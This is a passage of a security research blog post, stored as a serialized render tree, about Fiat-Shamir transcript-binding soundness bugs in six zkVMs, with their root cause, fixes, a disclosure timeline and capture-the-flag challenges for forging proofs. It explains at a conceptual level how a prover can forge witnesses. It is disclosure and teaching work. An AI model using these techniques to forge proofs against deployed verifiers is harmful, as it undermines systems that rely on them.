children":121765},{"className":121764},[3832,3769],[121766],{"type":32,"value":3835},{"type":26,"tag":475,"props":121768,"children":121770},{"className":121769},[3719,21296,3769],[121771],{"type":32,"value":2930},{"type":26,"tag":475,"props":121773,"children":121775},{"className":121774},[21453],[121776],{"type":32,"value":21456},{"type":26,"tag":475,"props":121778,"children":121780},{"className":121779},[3746],[121781],{"type":26,"tag":475,"props":121782,"children":121784},{"className":121783,"style":113717},[3751],[121785],{"type":26,"tag":475,"props":121786,"children":121787},{},[],{"type":26,"tag":475,"props":121789,"children":121791},{"className":121790,"style":3839},[3800],[],{"type":26,"tag":475,"props":121793,"children":121795},{"className":121794},[3719],[121796],{"type":26,"tag":475,"props":121797,"children":121799},{"className":121798},[3719,32],[121800],{"type":26,"tag":475,"props":121801,"children":121803},{"className":121802},[3719],[121804],{"type":32,"value":61367},{"type":26,"tag":475,"props":121806,"children":121808},{"className":121807},[21425],[121809],{"type":32,"value":3440},{"type":26,"tag":475,"props":121811,"children":121813},{"className":121812,"style":121759},[3719,21296],[121814],{"type":32,"value":49264},{"type":26,"tag":475,"props":121816,"children":121818},{"className":121817},[21447],[121819],{"type":32,"value":15117},{"type":26,"tag":475,"props":121821,"children":121823},{"className":121822},[21425],[121824],{"type":32,"value":3440},{"type":26,"tag":475,"props":121826,"children":121828},{"className":121827},[3719,21296],[121829],{"type":32,"value":2930},{"type":26,"tag":475,"props":121831,"children":121833},{"className":121832},[21447],[121834],{"type":32,"value":15117},{"type":26,"tag":475,"props":121836,"children":121838},{"className":121837,"style":3801},[3800],[],{"type":26,"tag":475,"props":121840,"children":121842},{"className":121841},[3806],[121843],{"type":32,"value":110741},{"type":26,"tag":475,"props":121845,"children":121847},{"className":121846,"style":3801},[3800],[],{"type":26,"tag":475,"props":121849,"children":121851},{"className":121850},[3708],[121852,121857,121866,121871,121876,121881,121885,121942,121947,121951,121956],{"type":26,"tag":475,"props":121853,"children":121856},{"className":121854,"style":121855},[3713],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":26,"tag":475,"props":121858,"children":121860},{"className":121859},[3719,32],[121861],{"type":26,"tag":475,"props":121862,"children":121864},{"className":121863},[3719],[121865],{"type":32,"value":112068},{"type":26,"tag":475,"props":121867,"children":121869},{"className":121868},[21425],[121870],{"type":32,"value":626},{"type":26,"tag":475,"props":121872,"children":121874},{"className":121873},[3719,21296],[121875],{"type":32,"value":2930},{"type":26,"tag":475,"props":121877,"children":121879},{"className":121878},[3832],[121880],{"type":32,"value":3835},{"type":26,"tag":475,"props":121882,"children":121884},{"className":121883,"style":3839},[3800],[],{"type":26,"tag":475,"props":121886,"children":121888},{"className":121887},[3719],[121889,121894],{"type":26,"tag":475,"props":121890,"children":121892},{"className":121891,"style":92667},[3719,21296],[121893],{"type":32,"value":93486},{"type":26,"tag":475,"props":121895,"children":121897},{"className":121896},[3736],[121898],{"type":26,"tag":475,"props":121899,"children":121901},{"className":121900},[3741,21350],[121902,121931],{"type":26,"tag":475,"props":121903,"children":121905},{"className":121904},[3746],[121906,121926],{"type":26,"tag":475,"props":121907,"children":121909},{"className":121908,"style":93196},[3751],[121910],{"type":26,"tag":475,"props":121911,"children":121912},{"style":109478},[121913,121917],{"type":26,"tag":475,"props":121914,"children":121916},{"className":121915,"style":3761},[3760],[],{"type":26,"tag":475,"props":121918,"children":121920},{"className":121919},[3766,3767,3768,3769],[121921],{"type":26,"tag":475,"props":121922,"children":121924},{"className":121923,"style":113702},[3719,21296,3769],[121925],{"type":32,"value":8368},{"type":26,"tag":475,"props":121927,"children":121929},{"className":121928},[21453],[121930],{"type":32,"value":21456},{"type":26,"tag":475,"props":121932,"children":121934},{"className":121933},[3746],[121935],{"type":26,"tag":475,"props":121936,"children":121938},{"className":121937,"style":118389},[3751],[121939],{"type":26,"tag":475,"props":121940,"children":121941},{},[],{"type":26,"tag":475,"props":121943,"children":121945},{"className":121944},[21447],[121946],{"type":32,"value":2835},{"type":26,"tag":475,"props":121948,"children":121950},{"className":121949,"style":3801},[3800],[],{"type":26,"tag":475,"props":121952,"children":121954},{"className":121953},[3806],[121955],{"type":32,"value":110741},{"type":26,"tag":475,"props":121957,"children":121959},{"className":121958,"style":3801},[3800],[],{"type":26,"tag":475,"props":121961,"children":121963},{"className":121962},[3708],[121964,121968,121977,121982,121987,121992,121996,122006,122011,122020,122025,122034],{"type":26,"tag":475,"props":121965,"children":121967},{"className":121966,"style":92609},[3713],[],{"type":26,"tag":475,"props":121969,"children":121971},{"className":121970},[3719,32],[121972],{"type":26,"tag":475,"props":121973,"children":121975},{"className":121974},[3719],[121976],{"type":32,"value":112068},{"type":26,"tag":475,"props":121978,"children":121980},{"className":121979},[21425],[121981],{"type":32,"value":626},{"type":26,"tag":475,"props":121983,"children":121985},{"className":121984,"style":121759},[3719,21296],[121986],{"type":32,"value":49264},{"type":26,"tag":475,"props":121988,"children":121990},{"className":121989},[3832],[121991],{"type":32,"value":3835},{"type":26,"tag":475,"props":121993,"children":121995},{"className":121994,"style":3839},[3800],[],{"type":26,"tag":475,"props":121997,"children":121999},{"className":121998},[3719,32],[122000],{"type":26,"tag":475,"props":122001,"children":122003},{"className":122002},[3719],[122004],{"type":32,"value":122005},"inout",{"type":26,"tag":475,"props":122007,"children":122009},{"className":122008,"style":92667},[3719],[122010],{"type":32,"value":2789},{"type":26,"tag":475,"props":122012,"children":122014},{"className":122013},[3719,32],[122015],{"type":26,"tag":475,"props":122016,"children":122018},{"className":122017},[3719],[122019],{"type":32,"value":37242},{"type":26,"tag":475,"props":122021,"children":122023},{"className":122022,"style":92667},[3719],[122024],{"type":32,"value":2789},{"type":26,"tag":475,"props":122026,"children":122028},{"className":122027},[3719,32],[122029],{"type":26,"tag":475,"props":122030,"children":122032},{"className":122031},[3719],[122033],{"type":32,"value":117264},{"type":26,"tag":475,"props":122035,"children":122037},{"className":122036},[21447],[122038],{"type":32,"value":2835},{"type":26,"tag":35,"props":122040,"children":122041},{},[122042,122044,122049,122051,122124],{"type":32,"value":122043},"With challenges fixed (independent of ",{"type":26,"tag":53,"props":122045,"children":122047},{"className":122046},[],[122048],{"type":32,"value":61367},{"type":32,"value":122050},"), an attacker can find an alternate witness ",{"type":26,"tag":53,"props":122052,"children":122054},{"className":122053},[3691,3692],[122055],{"type":26,"tag":475,"props":122056,"children":122058},{"className":122057},[3697],[122059],{"type":26,"tag":475,"props":122060,"children":122062},{"className":122061,"ariaHidden":3703},[3702],[122063],{"type":26,"tag":475,"props":122064,"children":122066},{"className":122065},[3708],[122067,122072],{"type":26,"tag":475,"props":122068,"children":122071},{"className":122069,"style":122070},[3713],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":26,"tag":475,"props":122073,"children":122075},{"className":122074},[3719],[122076,122085],{"type":26,"tag":475,"props":122077,"children":122079},{"className":122078},[3719,32],[122080],{"type":26,"tag":475,"props":122081,"children":122083},{"className":122082},[3719],[122084],{"type":32,"value":61367},{"type":26,"tag":475,"props":122086,"children":122088},{"className":122087},[3736],[122089],{"type":26,"tag":475,"props":122090,"children":122092},{"className":122091},[3741],[122093],{"type":26,"tag":475,"props":122094,"children":122096},{"className":122095},[3746],[122097],{"type":26,"tag":475,"props":122098,"children":122101},{"className":122099,"style":122100},[3751],"height:0.8362em;",[122102],{"type":26,"tag":475,"props":122103,"children":122105},{"style":122104},"top:-3.1473em;margin-right:0.05em;",[122106,122110],{"type":26,"tag":475,"props":122107,"children":122109},{"className":122108,"style":3761},[3760],[],{"type":26,"tag":475,"props":122111,"children":122113},{"className":122112},[3766,3767,3768,3769],[122114],{"type":26,"tag":475,"props":122115,"children":122117},{"className":122116},[3719,3769],[122118],{"type":26,"tag":475,"props":122119,"children":122121},{"className":122120},[3719,3769],[122122],{"type":32,"value":122123},"′",{"type":32,"value":122125}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":26,"tag":35,"props":122127,"children":122128},{},[122129,122133,122135],{"type":26,"tag":105,"props":122130,"children":122131},{},[122132],{"type":32,"value":116189},{"type":32,"value":122134}," Fixed on December 29, 2025 via ",{"type":26,"tag":116,"props":122136,"children":122139},{"href":122137,"rel":122138},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[120],[122140],{"type":32,"value":122141},"commit 86a515f",{"type":26,"tag":18502,"props":122143,"children":122144},{},[],{"type":26,"tag":27,"props":122146,"children":122148},{"id":122147},"why-does-this-keep-happening",[122149],{"type":32,"value":122150},"Why Does This Keep Happening?",{"type":26,"tag":35,"props":122152,"children":122153},{},[122154],{"type":32,"value":122155},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":26,"tag":41,"props":122157,"children":122159},{"id":122158},"academic-papers-dont-specify-fiat-shamir",[122160],{"type":32,"value":122161},"Academic Papers Don't Specify Fiat-Shamir",{"type":26,"tag":35,"props":122163,"children":122164},{},[122165,122167,122172,122174,122199,122201,122204,122206,122231,122233,122260],{"type":32,"value":122166},"Academic papers usually describe ",{"type":26,"tag":2615,"props":122168,"children":122169},{},[122170],{"type":32,"value":122171},"interactive",{"type":32,"value":122173}," protocols: \"Prover sends ",{"type":26,"tag":53,"props":122175,"children":122177},{"className":122176},[3691,3692],[122178],{"type":26,"tag":475,"props":122179,"children":122181},{"className":122180},[3697],[122182],{"type":26,"tag":475,"props":122183,"children":122185},{"className":122184,"ariaHidden":3703},[3702],[122186],{"type":26,"tag":475,"props":122187,"children":122189},{"className":122188},[3708],[122190,122194],{"type":26,"tag":475,"props":122191,"children":122193},{"className":122192,"style":21291},[3713],[],{"type":26,"tag":475,"props":122195,"children":122197},{"className":122196,"style":21828},[3719,21296],[122198],{"type":32,"value":115708},{"type":32,"value":122200},". Verifier sends",{"type":26,"tag":30672,"props":122202,"children":122203},{},[],{"type":32,"value":122205},"random ",{"type":26,"tag":53,"props":122207,"children":122209},{"className":122208},[3691,3692],[122210],{"type":26,"tag":475,"props":122211,"children":122213},{"className":122212},[3697],[122214],{"type":26,"tag":475,"props":122215,"children":122217},{"className":122216,"ariaHidden":3703},[3702],[122218],{"type":26,"tag":475,"props":122219,"children":122221},{"className":122220},[3708],[122222,122226],{"type":26,"tag":475,"props":122223,"children":122225},{"className":122224,"style":110320},[3713],[],{"type":26,"tag":475,"props":122227,"children":122229},{"className":122228,"style":92667},[3719,21296],[122230],{"type":32,"value":93486},{"type":32,"value":122232},". Prover sends ",{"type":26,"tag":53,"props":122234,"children":122236},{"className":122235},[3691,3692],[122237],{"type":26,"tag":475,"props":122238,"children":122240},{"className":122239},[3697],[122241],{"type":26,"tag":475,"props":122242,"children":122244},{"className":122243,"ariaHidden":3703},[3702],[122245],{"type":26,"tag":475,"props":122246,"children":122248},{"className":122247},[3708],[122249,122253],{"type":26,"tag":475,"props":122250,"children":122252},{"className":122251,"style":21291},[3713],[],{"type":26,"tag":475,"props":122254,"children":122257},{"className":122255,"style":122256},[3719,21296],"margin-right:0.00773em;",[122258],{"type":32,"value":122259},"R",{"type":32,"value":122261},".\"",{"type":26,"tag":35,"props":122263,"children":122264},{},[122265,122267,122292,122294,122319],{"type":32,"value":122266},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":26,"tag":53,"props":122268,"children":122270},{"className":122269},[3691,3692],[122271],{"type":26,"tag":475,"props":122272,"children":122274},{"className":122273},[3697],[122275],{"type":26,"tag":475,"props":122276,"children":122278},{"className":122277,"ariaHidden":3703},[3702],[122279],{"type":26,"tag":475,"props":122280,"children":122282},{"className":122281},[3708],[122283,122287],{"type":26,"tag":475,"props":122284,"children":122286},{"className":122285,"style":21291},[3713],[],{"type":26,"tag":475,"props":122288,"children":122290},{"className":122289,"style":21828},[3719,21296],[122291],{"type":32,"value":115708},{"type":32,"value":122293}," before sampling ",{"type":26,"tag":53,"props":122295,"children":122297},{"className":122296},[3691,3692],[122298],{"type":26,"tag":475,"props":122299,"children":122301},{"className":122300},[3697],[122302],{"type":26,"tag":475,"props":122303,"children":122305},{"className":122304,"ariaHidden":3703},[3702],[122306],{"type":26,"tag":475,"props":122307,"children":122309},{"className":122308},[3708],[122310,122314],{"type":26,"tag":475,"props":122311,"children":122313},{"className":122312,"style":110320},[3713],[],{"type":26,"tag":475,"props":122315,"children":122317},{"className":122316,"style":92667},[3719,21296],[122318],{"type":32,"value":93486},{"type":32,"value":122320},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":26,"tag":35,"props":122322,"children":122323},{},[122324],{"type":32,"value":122325},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":26,"tag":41,"props":122327,"children":122329},{"id":122328},"the-hot-potato-problem",[122330],{"type":32,"value":122331},"The Hot Potato Problem",{"type":26,"tag":35,"props":122333,"children":122334},{},[122335],{"type":32,"value":122336},"Modern zkVMs are modular:",{"type":26,"tag":35,"props":122338,"children":122339},{},[122340],{"type":26,"tag":132,"props":122341,"children":122344},{"alt":122342,"src":122343},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":26,"tag":35,"props":122346,"children":122347},{},[122348],{"type":32,"value":122349},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":26,"tag":41,"props":122351,"children":122353},{"id":122352},"optimization-pressure",[122354],{"type":32,"value":122355},"Optimization Pressure",{"type":26,"tag":35,"props":122357,"children":122358},{},[122359],{"type":32,"value":122360},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":26,"tag":35,"props":122362,"children":122363},{},[122364],{"type":32,"value":122365},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":26,"tag":41,"props":122367,"children":122369},{"id":122368},"testing-doesnt-catch-adversarial-inputs",[122370],{"type":32,"value":122371},"Testing Doesn't Catch Adversarial Inputs",{"type":26,"tag":35,"props":122373,"children":122374},{},[122375],{"type":32,"value":122376},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":26,"tag":18502,"props":122378,"children":122379},{},[],{"type":26,"tag":27,"props":122381,"children":122383},{"id":122382},"how-to-find-and-fix-these-bugs",[122384],{"type":32,"value":122385},"How to Find and Fix These Bugs",{"type":26,"tag":41,"props":122387,"children":122389},{"id":122388},"prevention",[122390],{"type":32,"value":122391},"Prevention",{"type":26,"tag":35,"props":122393,"children":122394},{},[122395],{"type":32,"value":122396},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":26,"tag":35,"props":122398,"children":122399},{},[122400],{"type":32,"value":122401},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":26,"tag":35,"props":122403,"children":122404},{},[122405],{"type":32,"value":122406},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":26,"tag":35,"props":122408,"children":122409},{},[122410],{"type":32,"value":122411},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":26,"tag":35,"props":122413,"children":122414},{},[122415],{"type":32,"value":122416},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":26,"tag":18502,"props":122418,"children":122419},{},[],{"type":26,"tag":27,"props":122421,"children":122423},{"id":122422},"responsible-disclosure-timeline",[122424],{"type":32,"value":122425},"Responsible Disclosure Timeline",{"type":26,"tag":55436,"props":122427,"children":122428},{},[122429,122457],{"type":26,"tag":122430,"props":122431,"children":122432},"thead",{},[122433],{"type":26,"tag":122434,"props":122435,"children":122436},"tr",{},[122437,122442,122447,122452],{"type":26,"tag":122438,"props":122439,"children":122440},"th",{},[122441],{"type":32,"value":22917},{"type":26,"tag":122438,"props":122443,"children":122444},{},[122445],{"type":32,"value":122446},"Reported",{"type":26,"tag":122438,"props":122448,"children":122449},{},[122450],{"type":32,"value":122451},"Fixed",{"type":26,"tag":122438,"props":122453,"children":122454},{},[122455],{"type":32,"value":122456},"Response Time",{"type":26,"tag":122458,"props":122459,"children":122460},"tbody",{},[122461,122484,122505,122525,122547,122568],{"type":26,"tag":122434,"props":122462,"children":122463},{},[122464,122469,122474,122479],{"type":26,"tag":122465,"props":122466,"children":122467},"td",{},[122468],{"type":32,"value":107292},{"type":26,"tag":122465,"props":122470,"children":122471},{},[122472],{"type":32,"value":122473},"Sep 2025",{"type":26,"tag":122465,"props":122475,"children":122476},{},[122477],{"type":32,"value":122478},"Oct 3, 2025",{"type":26,"tag":122465,"props":122480,"children":122481},{},[122482],{"type":32,"value":122483},"\u003C1 week",{"type":26,"tag":122434,"props":122485,"children":122486},{},[122487,122491,122496,122501],{"type":26,"tag":122465,"props":122488,"children":122489},{},[122490],{"type":32,"value":107298},{"type":26,"tag":122465,"props":122492,"children":122493},{},[122494],{"type":32,"value":122495},"Oct 2025",{"type":26,"tag":122465,"props":122497,"children":122498},{},[122499],{"type":32,"value":122500},"Oct 24, 2025",{"type":26,"tag":122465,"props":122502,"children":122503},{},[122504],{"type":32,"value":122483},{"type":26,"tag":122434,"props":122506,"children":122507},{},[122508,122512,122516,122521],{"type":26,"tag":122465,"props":122509,"children":122510},{},[122511],{"type":32,"value":107304},{"type":26,"tag":122465,"props":122513,"children":122514},{},[122515],{"type":32,"value":122495},{"type":26,"tag":122465,"props":122517,"children":122518},{},[122519],{"type":32,"value":122520},"Oct 31, 2025",{"type":26,"tag":122465,"props":122522,"children":122523},{},[122524],{"type":32,"value":122483},{"type":26,"tag":122434,"props":122526,"children":122527},{},[122528,122532,122537,122542],{"type":26,"tag":122465,"props":122529,"children":122530},{},[122531],{"type":32,"value":107310},{"type":26,"tag":122465,"props":122533,"children":122534},{},[122535],{"type":32,"value":122536},"Nov 2025",{"type":26,"tag":122465,"props":122538,"children":122539},{},[122540],{"type":32,"value":122541},"Mar 5, 2026",{"type":26,"tag":122465,"props":122543,"children":122544},{},[122545],{"type":32,"value":122546},"~4 months",{"type":26,"tag":122434,"props":122548,"children":122549},{},[122550,122554,122559,122564],{"type":26,"tag":122465,"props":122551,"children":122552},{},[122553],{"type":32,"value":107322},{"type":26,"tag":122465,"props":122555,"children":122556},{},[122557],{"type":32,"value":122558},"Dec 2025",{"type":26,"tag":122465,"props":122560,"children":122561},{},[122562],{"type":32,"value":122563},"Dec 29, 2025",{"type":26,"tag":122465,"props":122565,"children":122566},{},[122567],{"type":32,"value":122483},{"type":26,"tag":122434,"props":122569,"children":122570},{},[122571,122575,122579,122584],{"type":26,"tag":122465,"props":122572,"children":122573},{},[122574],{"type":32,"value":107316},{"type":26,"tag":122465,"props":122576,"children":122577},{},[122578],{"type":32,"value":122536},{"type":26,"tag":122465,"props":122580,"children":122581},{},[122582],{"type":32,"value":122583},"Jan 21, 2026?",{"type":26,"tag":122465,"props":122585,"children":122586},{},[122587],{"type":32,"value":122588},"3 months",{"type":26,"tag":35,"props":122590,"children":122591},{},[122592],{"type":32,"value":122593},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":26,"tag":18502,"props":122595,"children":122596},{},[],{"type":26,"tag":27,"props":122598,"children":122600},{"id":122599},"challenges",[122601],{"type":32,"value":107335},{"type":26,"tag":35,"props":122603,"children":122604},{},[122605,122607],{"type":32,"value":122606},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":26,"tag":122608,"props":122609,"children":122610},"del",{},[122611],{"type":32,"value":122612},"the first 10 solvers will get a T-shirt.",{"type":26,"tag":35,"props":122614,"children":122615},{},[122616,122618,122671,122672,122928],{"type":32,"value":122617},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":26,"tag":53,"props":122619,"children":122621},{"className":122620},[3691,3692],[122622],{"type":26,"tag":475,"props":122623,"children":122625},{"className":122624},[3697],[122626],{"type":26,"tag":475,"props":122627,"children":122629},{"className":122628,"ariaHidden":3703},[3702],[122630],{"type":26,"tag":475,"props":122631,"children":122633},{"className":122632},[3708],[122634,122638,122643,122648,122652,122657,122662,122666],{"type":26,"tag":475,"props":122635,"children":122637},{"className":122636,"style":114534},[3713],[],{"type":26,"tag":475,"props":122639,"children":122641},{"className":122640},[3719,21296],[122642],{"type":32,"value":116},{"type":26,"tag":475,"props":122644,"children":122646},{"className":122645},[3832],[122647],{"type":32,"value":3835},{"type":26,"tag":475,"props":122649,"children":122651},{"className":122650,"style":3839},[3800],[],{"type":26,"tag":475,"props":122653,"children":122655},{"className":122654},[3719,21296],[122656],{"type":32,"value":2930},{"type":26,"tag":475,"props":122658,"children":122660},{"className":122659},[3832],[122661],{"type":32,"value":3835},{"type":26,"tag":475,"props":122663,"children":122665},{"className":122664,"style":3839},[3800],[],{"type":26,"tag":475,"props":122667,"children":122669},{"className":122668},[3719,21296],[122670],{"type":32,"value":2854},{"type":32,"value":109135},{"type":26,"tag":53,"props":122673,"children":122675},{"className":122674},[3691,3692],[122676],{"type":26,"tag":475,"props":122677,"children":122679},{"className":122678},[3697],[122680],{"type":26,"tag":475,"props":122681,"children":122683},{"className":122682,"ariaHidden":3703},[3702],[122684,122747,122809,122915],{"type":26,"tag":475,"props":122685,"children":122687},{"className":122686},[3708],[122688,122693,122734,122738,122743],{"type":26,"tag":475,"props":122689,"children":122692},{"className":122690,"style":122691},[3713],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":26,"tag":475,"props":122694,"children":122696},{"className":122695},[3719],[122697,122702],{"type":26,"tag":475,"props":122698,"children":122700},{"className":122699},[3719,21296],[122701],{"type":32,"value":116},{"type":26,"tag":475,"props":122703,"children":122705},{"className":122704},[3736],[122706],{"type":26,"tag":475,"props":122707,"children":122709},{"className":122708},[3741],[122710],{"type":26,"tag":475,"props":122711,"children":122713},{"className":122712},[3746],[122714],{"type":26,"tag":475,"props":122715,"children":122717},{"className":122716,"style":3714},[3751],[122718],{"type":26,"tag":475,"props":122719,"children":122720},{"style":3755},[122721,122725],{"type":26,"tag":475,"props":122722,"children":122724},{"className":122723,"style":3761},[3760],[],{"type":26,"tag":475,"props":122726,"children":122728},{"className":122727},[3766,3767,3768,3769],[122729],{"type":26,"tag":475,"props":122730,"children":122732},{"className":122731},[3719,3769],[122733],{"type":32,"value":17002},{"type":26,"tag":475,"props":122735,"children":122737},{"className":122736,"style":3801},[3800],[],{"type":26,"tag":475,"props":122739,"children":122741},{"className":122740},[3806],[122742],{"type":32,"value":1106},{"type":26,"tag":475,"props":122744,"children":122746},{"className":122745,"style":3801},[3800],[],{"type":26,"tag":475,"props":122748,"children":122750},{"className":122749},[3708],[122751,122755,122796,122800,122805],{"type":26,"tag":475,"props":122752,"children":122754},{"className":122753,"style":3714},[3713],[],{"type":26,"tag":475,"props":122756,"children":122758},{"className":122757},[3719],[122759,122764],{"type":26,"tag":475,"props":122760,"children":122762},{"className":122761},[3719,21296],[122763],{"type":32,"value":2930},{"type":26,"tag":475,"props":122765,"children":122767},{"className":122766},[3736],[122768],{"type":26,"tag":475,"props":122769,"children":122771},{"className":122770},[3741],[122772],{"type":26,"tag":475,"props":122773,"children":122775},{"className":122774},[3746],[122776],{"type":26,"tag":475,"props":122777,"children":122779},{"className":122778,"style":3714},[3751],[122780],{"type":26,"tag":475,"props":122781,"children":122782},{"style":3755},[122783,122787],{"type":26,"tag":475,"props":122784,"children":122786},{"className":122785,"style":3761},[3760],[],{"type":26,"tag":475,"props":122788,"children":122790},{"className":122789},[3766,3767,3768,3769],[122791],{"type":26,"tag":475,"props":122792,"children":122794},{"className":122793},[3719,3769],[122795],{"type":32,"value":17002},{"type":26,"tag":475,"props":122797,"children":122799},{"className":122798,"style":3898},[3800],[],{"type":26,"tag":475,"props":122801,"children":122803},{"className":122802},[3903],[122804],{"type":32,"value":786},{"type":26,"tag":475,"props":122806,"children":122808},{"className":122807,"style":3898},[3800],[],{"type":26,"tag":475,"props":122810,"children":122812},{"className":122811},[3708],[122813,122818,122859,122864,122868,122873,122878,122882,122887,122892,122896,122901,122905,122911],{"type":26,"tag":475,"props":122814,"children":122817},{"className":122815,"style":122816},[3713],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":26,"tag":475,"props":122819,"children":122821},{"className":122820},[3719],[122822,122827],{"type":26,"tag":475,"props":122823,"children":122825},{"className":122824},[3719,21296],[122826],{"type":32,"value":2854},{"type":26,"tag":475,"props":122828,"children":122830},{"className":122829},[3736],[122831],{"type":26,"tag":475,"props":122832,"children":122834},{"className":122833},[3741],[122835],{"type":26,"tag":475,"props":122836,"children":122838},{"className":122837},[3746],[122839],{"type":26,"tag":475,"props":122840,"children":122842},{"className":122841,"style":3714},[3751],[122843],{"type":26,"tag":475,"props":122844,"children":122845},{"style":3755},[122846,122850],{"type":26,"tag":475,"props":122847,"children":122849},{"className":122848,"style":3761},[3760],[],{"type":26,"tag":475,"props":122851,"children":122853},{"className":122852},[3766,3767,3768,3769],[122854],{"type":26,"tag":475,"props":122855,"children":122857},{"className":122856},[3719,3769],[122858],{"type":32,"value":17002},{"type":26,"tag":475,"props":122860,"children":122862},{"className":122861},[3832],[122863],{"type":32,"value":3835},{"type":26,"tag":475,"props":122865,"children":122867},{"className":122866,"style":3839},[3800],[],{"type":26,"tag":475,"props":122869,"children":122871},{"className":122870},[3719,21296],[122872],{"type":32,"value":116},{"type":26,"tag":475,"props":122874,"children":122876},{"className":122875},[3832],[122877],{"type":32,"value":3835},{"type":26,"tag":475,"props":122879,"children":122881},{"className":122880,"style":3839},[3800],[],{"type":26,"tag":475,"props":122883,"children":122885},{"className":122884},[3719,21296],[122886],{"type":32,"value":2930},{"type":26,"tag":475,"props":122888,"children":122890},{"className":122889},[3832],[122891],{"type":32,"value":3835},{"type":26,"tag":475,"props":122893,"children":122895},{"className":122894,"style":3839},[3800],[],{"type":26,"tag":475,"props":122897,"children":122899},{"className":122898},[3719,21296],[122900],{"type":32,"value":2854},{"type":26,"tag":475,"props":122902,"children":122904},{"className":122903,"style":3898},[3800],[],{"type":26,"tag":475,"props":122906,"children":122908},{"className":122907},[3903],[122909],{"type":32,"value":122910},"≥",{"type":26,"tag":475,"props":122912,"children":122914},{"className":122913,"style":3898},[3800],[],{"type":26,"tag":475,"props":122916,"children":122918},{"className":122917},[3708],[122919,122923],{"type":26,"tag":475,"props":122920,"children":122922},{"className":122921,"style":93698},[3713],[],{"type":26,"tag":475,"props":122924,"children":122926},{"className":122925},[3719],[122927],{"type":32,"value":3722},{"type":32,"value":122929},". Good luck!",{"type":26,"tag":41,"props":122931,"children":122933},{"id":122932},"jolt",[122934],{"type":32,"value":107292},{"type":26,"tag":35,"props":122936,"children":122937},{},[122938,122940,122951,122953],{"type":32,"value":122939},"See ",{"type":26,"tag":116,"props":122941,"children":122948},{"href":122942,"target":122943,"rel":122944,"download":122947},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[122945,122946],"noopener","noreferrer","handout_jolt.tar.gz",[122949],{"type":32,"value":122950},"the handout",{"type":32,"value":122952}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":26,"tag":53,"props":122954,"children":122956},{"className":122955},[],[122957],{"type":32,"value":122958},"jolt.chal.osec.io:8960",{"type":26,"tag":41,"props":122960,"children":122962},{"id":122961},"nexus-1",[122963],{"type":32,"value":107298},{"type":26,"tag":35,"props":122965,"children":122966},{},[122967,122968,122975,122976],{"type":32,"value":122939},{"type":26,"tag":116,"props":122969,"children":122973},{"href":122970,"target":122943,"rel":122971,"download":122972},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[122945,122946],"handout_nexus.tar.gz",[122974],{"type":32,"value":122950},{"type":32,"value":122952},{"type":26,"tag":53,"props":122977,"children":122979},{"className":122978},[],[122980],{"type":32,"value":122981},"nexus.chal.osec.io:8950",{"type":26,"tag":35,"props":122983,"children":122984},{},[122985],{"type":32,"value":122986},"Now you should have enough margin to prove Fermat wrong.",{"type":26,"tag":18502,"props":122988,"children":122989},{},[],{"type":26,"tag":27,"props":122991,"children":122993},{"id":122992},"takeaways",[122994],{"type":32,"value":122995},"Takeaways",{"type":26,"tag":35,"props":122997,"children":122998},{},[122999],{"type":32,"value":123000},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":26,"tag":35,"props":123002,"children":123003},{},[123004],{"type":32,"value":123005},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":26,"tag":35,"props":123007,"children":123008},{},[123009,123014],{"type":26,"tag":105,"props":123010,"children":123011},{},[123012],{"type":32,"value":123013},"For the ZK ecosystem:",{"type":32,"value":123015}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":26,"tag":35,"props":123017,"children":123018},{},[123019],{"type":32,"value":123020},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed 